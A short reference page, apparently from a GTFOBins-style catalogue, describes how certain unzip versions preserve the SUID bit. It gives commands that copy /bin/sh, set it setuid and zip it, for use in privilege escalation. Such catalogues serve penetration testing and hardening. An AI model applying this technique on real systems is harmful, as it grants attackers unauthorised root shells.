.. / unzip
Sponsor Fork Star

Comment

Certain unzip versions allows to preserve the SUID bit. For example, prepare an archive beforehand with the following commands as root:

cp /bin/sh .
chmod +s sh
zip shell.zip sh

Privilege escalation

This executable provides a mechanism for privilege escalation by indirectly enabling elevated privileges, such as setting the SUID bit or modifying the ownership of another executable.

Source | History